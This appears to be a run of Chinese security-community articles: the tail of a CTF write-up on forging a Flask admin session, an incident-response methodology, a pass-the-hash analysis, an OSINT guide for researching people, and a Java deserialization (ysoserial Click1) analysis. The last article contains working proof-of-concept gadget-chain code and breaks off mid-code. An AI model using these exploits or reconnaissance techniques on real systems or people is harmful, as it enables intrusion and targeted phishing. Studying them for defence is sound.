error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
然而并无法获取flag.py的源码，因为限制了内容不能包含hctf。
尝试获取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html
可以得知只要能用admin登入即可获得flag.
这里我们重点查看payload中SECRET_KEY的生成方式
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
可以看到随机数的种子为uuid.getnode().而uuid.getnode()函数返回的便是当前网卡的mac地址。那么要怎样获取服务器上的网卡地址?
这里便可以通过linux强大的特殊文件系统来获取。首先利用之前的方法读取/proc/net/dev可以发现服务器上的所有网卡。可以发现服务器只有eth0和lo两个网卡。之后再读取/sys/class/net/eth0/address
即可获取eth0网卡的mac地址。获取了地址，我们便获取了SECRET_KEY，之后便可以使用我们上面的payload来伪造session从二获取flag。
## 后记
通过这次hctf深入的了解了flask的客户端session的生成过程，可以说hctf相比最近的一些神仙大战确实是异常很适合web狗的比赛了。每年的hctf都能学到一些东西，希望以后能多一些这样干货满满的比赛。○|￣|_
ps:如果出一道改了源码改了默认salt和签名机制的题目会不会被打死ヾ(≧∇≦*)ゝ | 社区文章 |
**序**
这是我自己对于应急响应归纳出来的方法论，一个笼统的、抽象的概念，包含思路和方法。
【PS：本篇不包含工具，不包含任何具体的东西】
【文章仅代表我本人，不具备任何权威性，专题系列转载请标明出处】
**0x10常见应急响应流程**
这是我自己的经验总结出来的应急响应流程，也是我自己去应急时的流程。
【如果图片模糊请留言或直接联系博主拿图】
* 0x11响应
这里不讨论应急响应人员能不能到现场，这里讨论通用场景。
（1）判断事件类型
事件类型分为7类：大规模沦陷、挖矿病毒、勒索病毒、无文件落地、不死（顽固）马、钓鱼应急响应、数据劫持。【后续会细讲】
去应急肯定会收到通知：ga的通报、客户自己发现的情况、现场安服发现的问题。根据这些情报先判断出需要出应急的是什么事件类型。但是要记住“情报是带有失真率和主观性的，并且以上场景很多情况下并不会单独出现。”最后还是需要应急人员自己靠经验与客观事实去判断。
（2）保持第一现场
第一现场包含：第一发现人、第一情报、失陷主体/群体、主体/群体行为、失陷环境。
这个“保持”是指在尽可能实现的情况下去保留。因为谁被打穿了都会慌，一慌都会推卸责任（包括我自己），或者消灭痕迹，这无疑是帮助了攻击者实现渗透的最后一步。
这个“第一”是指最先发现情况的人，这个人所说的情况。发现的被攻陷的主体，最好是用镜像把系统和流量先扒拉下来。时间越延迟，这个“第一”事实的失真率越高，所以要安服和应急人员做好配合。
（3）信息收集
这一步与渗透测试的第一步信息收集无异，即使前面两个高度失真，这一步仍可以让整个响应起死回生，但是这一步没做好将会影响后续所有操作。
信息收集主要是做：流量、日志、可疑进程的内存、失陷系统镜像、恶意样本、客户资产收集、资产相关漏洞测试报告、防御设备的日志。【请注意：确认有索取这些信息的权限】
* 0x12阻断
所谓阻断只有三步：关站、关服务、拔网线。
（1）切断网络
情况分很多种：失陷后业务仍正常运行、失陷后业务受滞、失陷后业务停摆。不同的情况，网络切断因地制宜。
切断网络的目的：观察病毒行为、观察流量特征、阻断对内通信、阻断对外连接。
举个例子：一个医院大规模失陷，但是业务正常运作，这时候可以选择切断部分不重要的主机去观察行为。
（2）阻断传播
传播包括：对内传播（感染）、对外传播（外联）
对内传播（感染）：进程注入/迁移、第三方软件感染、服务传播（ftp/ssh爆破等）
对外传播（外联）：挖矿行为、外联攻击、c2通信
阻断传播应从：软件层面、流量层面、代码层面、网络层面。例如：排查软件被劫持、排查流量发现无文件落地、利用代码审计发现容器加载内存马、阻断网络发现通过服务传播的病毒。
（3）隔离核心资产/隔离受害主体（群体）
这一步是应急响应的最终目的，无论实施过程如何、无论使用什么工具都必须保证被保护与沦陷方的隔离。
隔离核心资产是为了做到三个原则：保护、避害、不损害。
隔离受害主体（群体）是为了保护第一现场、收集攻击者信息等。
* 0x13分析
分析是前提是提炼，提炼出关键信息分析。而提炼的前提是熟悉，了解攻击手法，红蓝同源。
（1）日志、流量、样本分析
分析三大件：日志、流量、样本。
日志主要注意的是：时间、动作、结果；这个行为什么时候开始、什么时候结束，这个动作是登陆、退出、修改等、造成的结果是登陆成功/失败、上传/下载了文件、执行了代码等。
流量主要注意的是：状态码、交互过程、数据合理性；每一次交互的状态码，交互过程中是否符合该种协议的正确交互过程，每个字段的填充、每次流量的渲染是否正常。
样本主要注意的是：启动方式、伪装方式、作用；根据启动方式去选择沙箱或者分析工具；伪装方式判断是否加壳做免杀和打击方式；根据作用去判断受害范围。
粗略的分为静态和动态，日志属于静态信息需要应急人员清晰分辨出日志表达的内容和快速筛选出可疑的点。流量和样本属于动态信息，应急人员需要拥有一定的渗透能力去分辨交互行为。
（2）行为分析&还原攻击过程
从行为出发，还原攻击路径，推演攻击过程。
行为分析基于三大件分析，结合系统表现出来的情况做分析，例如：启动项、启动脚本、进程、内存等。
还原攻击过程需要对攻击大致的情况有一个综合判断，可以理解为——威胁模型建立（SDL），必须具备渗透能力，再此基础上放入沙箱重新复现攻击过程，对后续的步骤提供帮助。
* 0x14清除
我们要做的与渗透无异——“做好清除，藏好自己”。
（1）非对抗情况下
在不存在对抗的情况下，最极端就是全盘重装，稍次就是数据迁移后对系统盘重装。在普通情况下，我们可以进行针对性的杀进程、删文件、杀软清除。
（2）存在对抗情况下
对抗情况就是：顽固马与不死马存在，或者被持续攻击（apt）。
这样的情况下，首选是在允许情况下打补丁，再恢复。找到攻击行为的源头，先补上漏洞再清除。
* 0x15加固
加钱才是硬道理。
加固没啥好讲的，打补丁、对系统进行限制（网络隔离、行为管理等）、升级防御设备、完善防御流程（防御设备的部署、人员的部署、规则库的升级）
**0x20应急响应常见场景**
这是我的应急经验大致归纳出的场景，现实情况下场景会复合，这里只是对单个场景做思路。
【所有单独场景的分析将会在该系列的第二篇展开，此处只放图】
* 0x21大规模沦陷
* 0x22挖矿病毒
* 0x23勒索病毒
* 0x24无文件落地
* 0x25顽固不死马
* 0x26钓鱼应急
* 0x27数据劫持
**0x30总结**
1.应急响应的最终目标是保护客户的核心资产，所有行为必须围绕：保护、避害、不损害来进行。
2.在现在愈加复杂的攻击下，上述的常见场景一般会出现复合情况，需要应急人员根据经验去进行。
3.应急人员应有自己的方法论，对不同攻击的威胁建模，拥有威胁情报分析能力，结合工具的辅助进行现场响应与远程支撑。
4.工具和排查点大同小异，提升方法在于应急人员的是否熟悉该种攻击，利用特征和行为去排查更节省时间。
5.红蓝同源，应急响应属于蓝队，但必须具备一定的渗透能力。
此处借用freebuf官方的一张图：
<https://www.sohu.com/a/285775958_354899>
本人博客：<https://www.yuque.com/chenmoshuren/qyxg2k> | 社区文章 |
# KB22871997是否真的能防御PTH攻击？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：xiaom@云影实验室
## 前言
在内网渗渗透时，当我们通过GPP漏洞等方式获取到凭据后，将会使用这组凭据进行横向移动，进行权限提升。不管通过哪种方式获取到了明文密码或者HASH，横向移动是必不可少的一步，攻击者会使用常见的Psexec式(psexec
psexec_psh)，Wmi式(wmicmd、wmiexec)、winrm式(evil-winrm)这几种方式来远程执行命令，除了这几款之外，目前还有一款综合式的远程执行命令的工具crackmapexec，此款工具支持多种执行方式，并且支持批量。攻击者通过此类型的方式从内网中的一台主机横向移动以获得更多的内网主机权限，达到提升内网权限或者是获取关键信息的目的。
在横向移动中有一种经久不衰的攻击手法是Pass The Hash，Pass The
Hash的出现极大提升了攻击效率，利用Windows的自认证机制而不需要破解HASH登录到系统中。微软为了解决这个问题在2014年发布的更新KB2871997一度被传言能够防御Pass
The Hash，现在我们就来看一下KB2871997这个补丁是否真的能够对Pass The Hash进行防御。
## KB2871997安装前后测试
首先看一下未安装补丁的情况，其中本地管理员组有三个帐户，主机名为TESTWIN7，所在域为TEST.LOCAL：
administrator是RID为500的本地管理员账号
testpth是RID非500的本地账号
TEST\xxm为加入了本地Administrators组的域帐户
首先使用本地帐户administrator：
使用本地管理组帐户testpth:
域用户xxm:
这里可以看到：
本地帐户administrator成功，本地管理员帐户testpth失败，域用户xxm成功。
再来看一下安装补丁之后：
使用本地帐户administrator：
使用本地帐户testpth：
使用域帐户xxm：
这里可以看到在安装KB2871997前后的对比发现并没有任何区别。而之前非administrator的本地管理员Pass The
Hash失败被认为是KB2871997的作用，实际是由于远程访问和UAC的限制。
## 远程访问和UAC
图中可以看到在Windows中administrator的RID为500，并且是唯一的。同样为管理员组的本地帐户的testpth的RID的值为1000。
而域账号xxm使用的是域内的SID号。
根据微软官方关于远程访问和用户帐户控制的相关文档可以了解到，UAC为了更好的保护Administrators组的帐户，会在网络上进行限制。https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows
在使用本地用户进行远程登录时不会使用完全管理员权限（full
administrator），但是在域用户被加入到本地管理员组之后，域用户可以使用完全管理员（full administrator）的Access
Token运行，并且UAC不会生效。
由此可见在上面的实验中域用户xxm能够成功PTH，而本地用户testpth无法成功，是因为以testpth的身份发起的请求被UAC拒绝。而administrator用户成功的原因同样是因为UAC。
### FilterAdministratorToken
在UAC组策略设置和注册表项设置的官方文档（https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd835564(v=ws.10)#BKMK_BuiltInAdmin）中可以看到相关的描述，关于UAC的注册表中一个注册表键值为FilterAdministratorToken，且在Windows
Server 2008默认为Disable。
紧跟着文档中就添加了关于Admin Approval Mode的说明：
可以看到图片中说明了再默认情况下FilterAdministratorToken设置为Disable（管理员批准模式关闭），在UAC的控制策略中对于内置administrator帐户和域账户xxm运行程序时就会直接赋予完全管理权限（fulladministrative
privilege）。这就是本地帐户administrator和域帐户xxm成功而本地管理员帐户testpth失败的原因。
在WindowsServer 2012 R2版本服务器中可以看到本地安全策略中的“用户帐户控制：以管理员批准模式运行所有的管理员”确实是默认开启的。
那如何限制administrator的远程登录呢？那就是直接把FilterAdministratorToken开启就可以了。现在将testwin7主机的FilterAdministratorToken设置为1。
路径为：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
修改之后策略会立即生效，可以看到使用administrator的远程连接也被拒绝了
### LocalAccountTokenFilterPolicy
上面我们知道了使用非administrator的本地管理员帐户testpth进行Pass The Hash为什么失败，那如何禁用UAC的限制？
官方文档也是有提到的<https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows>
可以通过修改注册表中LocalAccountTokenFilterPolicy选项的键值来进行更改。注册表项为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
如果LocalAccountTokenFilterPolicy注册表项不存在可以直接新建一条，并将值设置为1
LocalAccountTokenFilterPolicy的值默认为0（开启远程限制），为1时将关闭远程限制
再次使用本地管理员账号testpth可以成功远程连接。
在防御远程访问的时候，这个注册表需要更加注意，默认情况下这个注册表键值为0，也就是说远程限制是开启的，如果由于误操作将此键值设置为1那无疑是对攻击者敞开了大门。
## KB2871997
事实证明KB2871997不能直接限制Pass The Hash，具体更改为以下几点。
1. 支持“Protected Users”组；
2. Restricted Admin RDP模式的远程桌面客户端支持；
3. 注销后删除LSASS中的凭据；
4. 添加两个新的SID；
5. LSASS中只允许wdigest存储明文密码。
### 支持“Protected Users”组
“Protected Users”组是Windows Server 2012 R2域中的安全组，“Protected
Users”组的成员会被强制使用Kerberos身份验证，并且对Kerberos强制执行AES加密。
### Restricted Admin RDP模式的远程桌面客户端支持
Restricted Admin RDP模式是为了避免将Client端的凭据暴露给远程系统，同时也产生一种变种的Pass The Hash（Passing
the Hash with Remote Desktop），网上已经有说明文章，这里不再赘述。同时这个功能只支持Windows server
2012和Windows8.1。
### 注销后删除凭证
在这个更新之前，只要用户登录系统，Windows就会在lsass中缓存用户的凭据，包括用户的明文密码、LM/NTLM
HASH、Kerberos的TGT票据/Session Key。
### 新的SID
在更新中新添加了两个SID:
1、本地帐户，LOCAL_ACCOUNT（S-1-5-113），所有本地帐户继承自此SID；
2、本地帐户和管理组成员，LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_
GROUP（S-1-5-114），所有管理员组的本地用户继承此SID。
注意：S-1-5-114这里在中文操作系统中提供的翻译是“NT
AUTHORITY\本地帐户和管理员组成员”，但实际上是“所有本地Administrators组中的本地帐户”，即域用户即使被加入到了本地Administrators组也不继承此SID。
这个SID对于限制横向渗透的远程连接并没有任何实质的作用，它的主要作用是更方便的防止通过网络使用本地帐户登录。对于防御人员来说我们可以通过将这两个SID对应的组加入组策略中的下列选项，从而限制攻击者能够从外部访问本地系统/服务：
* 拒绝从网络访问这台计算机
* 拒绝通过远程桌面服务登录
当我们直接将这两个组加入拒绝访问列表的方式来禁用使用本地帐户进行网络访问时，可以看到使用本地administrator帐户提示“登录失败：未授予用户再次计算机上的请求登录类型”。同时也实验了只加入“本地帐户（S-1-5-113）”这一个SID对应的组，发现administrator依然被拒绝！
此时加入本地管理员组的域用户并不受影响，证明了上面的说法，也就是说其实这个补丁新添加的两个组在whoami /all里的中文翻译还是有一定的误导性的：
域管理员帐户administrator一样也可以成功。
所以从实验结果来看这两个SID的作用就是将原本Windows的本地组做了一个合并和处理，让用户在添加组策略时更方便一点，同时对于它们的关系来说S-1-5-114是S-1-5-113的子集，S-1-5-113包含所有本地用户，S-1-5-114包括的是Administrators组中的本地用户。
### LSASS中删除了明文凭证
前面说到LSASS会存储用户的明文密码，这个更新只允许WDigest在LSASS中存储明文密码。如果想防止WDigest的明文密码存储在LSASS中则可以通过修改下面注册表的键值来实现：
HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ SecurityProviders
\ WDigest
如果UseLogonCredential值设置为0，则WDigest不会将凭据存储在内存中；
如果UseLogonCredential值设置为1，WDigest将在内存中存储凭据。
修改注册表之后发现已经不能看到WDigest保存的明文密码（需重启或注销登录生效）。
## 小结
看到这里防止Pass The Hash类型的横向移动的方法也很明显了：
1. 将FilterAdministratorToken的值设置为1，限制本地administrator账户的远程登录；
2. 可以使用脚本或者人工定时查看LocalAccountTokenFilterPolicy是否曾经被攻击者修改过；
3. 在组策略中的“拒绝从网络访问这台计算机”将需要限制的组、用户加入到列表中。
而对于KB2871997的更新内容来说不管是“Protected Users”组和新的RDP模式以及新的SID号都没有起到实际的限制作用。
新的两个SID组S-1-5-113和S-1-5-114实际只是把本地用户划分了一下，同时这样做是没有太大意义的，在S-1-5-113能够包括所有本地用户的情况下再划分出来一个S-1-5-114组，现实中应该很少存在只是限制S-1-5-114（即管理员组的本地用户）而不限制所有本地用户的情况。同时如果是为了提升安全等级最好的方式是把Administrators组的域用户一起禁用，而不是只禁用Administrators的本地成员。唯一有作用的是在LSASS中删除了除WDigest之外的协议所保存的明文了，但是这个操作还需要修改注册表来实现，况且单单删除了lsass中的hash值并不足以限制Pass
The Hash这种类型的横向移动。
本文到此也就结束了，虽然是一个五年前的补丁，但它仍然能够帮助我们对Pass The
Hash的攻防有更为深刻的了解，同时感谢一下天马安全团队(PegasusTeam)-王永涛(sanr)，在本文编写的过程中给了很多帮助。探究原理的过程是繁琐而有趣的，云影实验室后续会继续带来更多的安全技术分享。
### 参考链接：
<https://msrc-blog.microsoft.com/2014/06/05/an-overview-of-kb2871997/>
<http://woshub.com/blocking-remote-network-access-for-local-accounts/> | 社区文章 |
> 翻译文章，原文链接：<https://0xpatrik.com/osint-people/>
>
> 原文作者：[Patrik Hudak](https://0xpatrik.com/)
在这篇文章中，继续讨论与OSINT相关的主题，我们将着眼于研究人员。与[域名](https://0xpatrik.com/osint-domains/)类似，在我们的“人员分析”中有一些特定的目标：
* 这个人是我们新认识的人。我们想找到一些关于他/她的信息。
* 你想雇用一名新员工。除了HR的标准背景检查之外，你可能想要执行你的OSINT以查看他/她是否是一个优秀的候选人。
* 你希望向某个特定公司的知名人士推销新的商业产品。你需要先获取他/她的电子邮件或手机号码。 _请注意，此步骤通常包括一些组织研究，将在本系列的下一部分中介绍。_
* 你是渗透测试人员，目前正在进行鱼叉式网络钓鱼评估。你需要查找信息以增加网络钓鱼评估的潜在成功。
如你所见，有很多情况下关于人的OSINT可能会派上用场。我们来看一些具体的技巧。
**注意：本指南中的技术不应用于恶意目的。虽然没有可用于恶意场景的方法很难编写指南，但我不对此类操作负责。**
# OPSEC
在开始之前，我想提一些重要的事情。你可能听说过 _运营安全_ 或 _OPSEC_
。在搜索过程中，你可能会以多种不同的方式暴露自己。例如，如果你登录LinkedIn并访问其他一些个人资料，则会通知此人（包括你的姓名）。因此，OPSEC可以被视为特定背景下的指南。这些指导原则可防止其他人知道OSINT正在执行或知道你的真实身份。
我建议使用[Tor Browser
Bundle](https://www.torproject.org/projects/torbrowser.html.en)进行所有与OSINT相关的活动。首先，由于多个加密连接（即
_onion_
），你的IP身份被隐藏。其次，Firefox的定制版本确保在重新启动之间删除cookie，因此不能对过去的活动进行指纹识别。你不应该使用Tor登录你的帐户。
如果你因Tor的速度而困扰，你可以选择使用[VPN服务](https://torrentfreak.com/vpn-services-keep-anonymous-2018/)并结合一些安全的浏览环境。同样，你不希望以任何方式公开cookie。最简单的选择是在浏览器中使用 _私有模式_
，尽管我建议尽可能地使用[专用于OSINT的虚拟机](https://inteltechniques.com/buscador/)。
# 社交媒体
我喜欢做的第一件事是找到社交媒体配置文件。为什么？我相信他们掌握了大部分有用的OSINT信息。在处理诸如 _John Smith_
等流行名称时，你应该预料到多重误报。
根据目标的隐私和 _一致性_ ，查找社交媒体配置文件可能很困难，也可能很容易。简单的谷歌搜索有时会奏效：
John Doe site:facebook.com
John Doe site:instagram.com
John Doe site:linkedin.com
...
请注意，有许多社交媒体网站需要创建一个帐户才能查看完整的个人资料。我建议为此创建一个假帐户。
人们倾向于在不同的服务中重用他们的用户名。用户名在互联网上充当人的唯一标识符。我喜欢从这个人的Instagram中提取用户名。然后，我使用名为[namechk](https://namechk.com/)的服务在许多不同的社交媒体平台上搜索此用户名。
我不得不说我没有在所有指定的平台上注册帐户。你应该像往常一样期待一些误报。
还有聚合器，如[pipl.com](https://pipl.com/)或 [social-searcher](https://www.social-searcher.com/)。虽然我并不总是使用它们，但它们往往能提供更高层次的人物视角。
# 电子邮件
这个主题既适用于此处，也适用于组织OSINT。我决定把它放在这里，因为我认为它主要与人而不是组织本身有关。
在处理销售时，通常需要在组织中建立良好的联系以便投资。你应该聪明一点，并决定哪个人是正确的选择。当然，向财富500强公司的首席执行官推销信息安全相关产品并不是一个好主意。CISO或高级安全工程师可能是更好的选择。另一方面，将安全相关产品推销给初创公司的首席执行官更有意义。
我不想在这里描述完整的获取电子邮件方法; 我想解释一下找到目标组织中关键人物的联系信息的最佳方法。我强烈建议你检查[Clearbit
Prospector](https://clearbit.com/prospector)以完成此任务。它是一款出色的具有准确数据的产品。虽然它是付费产品，但老实说，如果你做了很多这样的搜索，这是值得的。是的，它不是真正意义上的OSINT，其他技术在下面解释。
我喜欢的另一种产品是[Hunter.io](https://hunter.io/)。它也是付费产品，但你每月可免费获得100次搜索。类似的服务被称为[voilanorbert](https://www.voilanorbert.com/)和[headreach](https://headreach.com/)。它们还采用免费增值模式。我认为这是为组织中的特定人员查找电子邮件地址的最佳方式。
或者，你可以使用LinkedIn获取最初的冷消息。你只需将 _搜索栏_ 与查询一起使用即可`<COMPANY_NAME>
<POSITION>`获得最准确的结果。人们倾向于保持他们的LinkedIn个人资料更新。然后，你可以轻松地与他们联系（虽然不是通过电子邮件）。类似的，你也可以通过Twitter这样做。但是，我认为这是一种不太正式的媒介。
**专业提示** ：对于较小的公司，电子邮件通常直接列在他们的网站上。
对于一些关于冷呼叫的有用的Google Dorks，我推荐[这篇文章](https://apollonsky.me/growth-hacking-google-dork/)。
# 电话号码
查找电话号码比电子邮件更难。我的首选工具是Google，我尝试使用此人的姓名和某些`telephone
number`关键字组合进行dork，或在特定国家/地区使用白/黄页，例如[whitepages.com](https://www.whitepages.com/)。请务必检查[awesome-osint](https://github.com/jivoi/awesome-osint)以获取电话号码搜索服务列表。
有时，我需要执行反向电话搜索：给定电话号码，我想检索其所有者的名称。当你想要与所有者关联的未接来电时，此功能非常有用。你可以使用上述服务，但更通用的方法如下：
1. 尝试使用号码进行Facebook搜索。如果他/她具有与个人资料相关联的号码，则所有者应该在结果中出现。
2. 将号码保存在手机中，然后查看Viber或WhatsApp联系人列表。这些服务允许指定照片和所有者的姓名，只需知道电话号码即可提取此信息。
# 电子邮件
我描述了在上面的部分找到电子邮件。现在，我想扩展它并讨论有关电子邮件OSINT的更多技术问题。SMTP支持两种，不是很有名的命令[VRFY和EXPN](https://cr.yp.to/smtp/vrfy.html)。前者用于直接在邮件服务器上验证是否存在某个特定邮箱。当你已熟悉公司的标准电子邮件地址格式时，这尤其有用。格式通常是：
[email protected]
[email protected]
[email protected]
最简单的测试方法是使用[MailTester.com](http://mailtester.com/testmail.php)等在线工具。不要被这个网站的历史设计分心。与其他类似服务相比，它做得非常出色。请注意，并非每个SMTP服务器都允许此命令（显然），但从经验来看，即使是知名度较高的组织有时也会启用此命令（ehm，Apple）。
该 _EXPN_ 命令用于列出一些通讯组列表的成员。SMTP服务器提供此类成员的个人电子邮件地址。
我还想测试一些泄露凭证转储中是否存在某些电子邮件地址。最简单的方法就是用 [Troy
Hunt](https://twitter.com/troyhunt)的[[Have I Been
Pwned](https://haveibeenpwned.com/)
。这与安全评估结合使用非常有用。为什么？通常人们重复使用密码，并且用户在某些服务中使用的密码也有可能在企业环境中使用。
本指南的目的不是为你提供尽可能多的工具。相反，我尝试解释不同的技术。如果你想使用不同的工具，可以在[这里](https://github.com/jivoi/awesome-osint)找到合适的工具。请注意，某些工具仅适用于特定国家/地区。 | 社区文章 |
前段时间ysoserial又更新了一个链Click1，网上好像一直没人分析，最近在学习java，就稍微分析下。
# 一、 利用代码
Click1依赖click-nodeps-2.3.0.jar，javax.servlet-api-3.1.0.jar
click-nodeps应该是个冷门项目，搜不到太多信息，所以此链也就看看就好，增加一点关于java反序列化的知识。
<https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Click1.java>
不想重新编译ysoserial的，或者只想要POC的，可以用我重构的代码如下
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Click1 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("C:\\Users\\Administrator.K\\workspace\\test\\bin\\test\\TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = column.getComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
column.setName("outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
# 二、 TemplatesImpl
Click1链和CommonsBeanutils1链息息相关，更确切来说，这就是CommonsBeanutils1链在其他jar包的用法。想要跟这个链，就必须了解CommonsBeanutils1链的知识，比如TemplatesImpl。
Click1链和CommonsBeanutils1链都是无法直接去调Runtime.getRuntime().exec()的，只能使用TemplatesImpl加载任意类。
如何做到的呢？先看
**com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()**
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
调 **newTransformer()**
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
调 **getTransletInstance()**
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
需要_name不为null且_class为null，这就是 **setFieldValue(obj, "_name", "XXX");** 的意义。
调 **defineTransletClasses()**
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
注意这里_tfactory.getExternalExtensionsMap()，也就是为什么将_tfactory设置成new
TransformerFactoryImpl()的原因。
但我们可以发现在fastjson的payload中并没有这样设置。
{"a": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": [""xxxxxxxxxxxxxxxxxxxxxxxx""],"_name": "aaa","_tfactory": {},"_outputProperties": {}}}
实际情况注释掉这行代码生成的反序列化payload也一样能用，但直接调用getOutputProperties却不能缺失这行，所以最好还是加上。
而我们设置的_bytecodes在这儿被defineClass加载进去，此处最终会调用原生defineClass加载字节码，然后赋值给_class[i]。而在getTransletInstance()执行defineTransletClasses()之后
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
由于_transletIndex = i，至此我们加载进去的TemplatesImplcmd.class被实例化。
总结，只要我们事先用反射设置好 **_bytecodes/_name/_tfactory** 这三个属性，再调用
**TemplatesImpl.getOutputProperties()** ，即可执行任意类。POC如下
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("C:\\Users\\Administrator.K\\workspace\\test\\bin\\test\\TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.getOutputProperties();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
这也是正是fastjson payload的原理。
# 三、 PriorityQueue
PriorityQueue是一个优先队列，在反序列化的过程中，会调用Comparator对元素进行比较，Click1和CommonsBeanutils1存在反序列化漏洞的原因就是因为它们都重写了compare()方法。
我们还是从后往前去跟，先看 **PriorityQueue.readObject()**
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
调用 **heapify()**
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
调用 **siftDown()**
private void siftDown(int k, E x) {
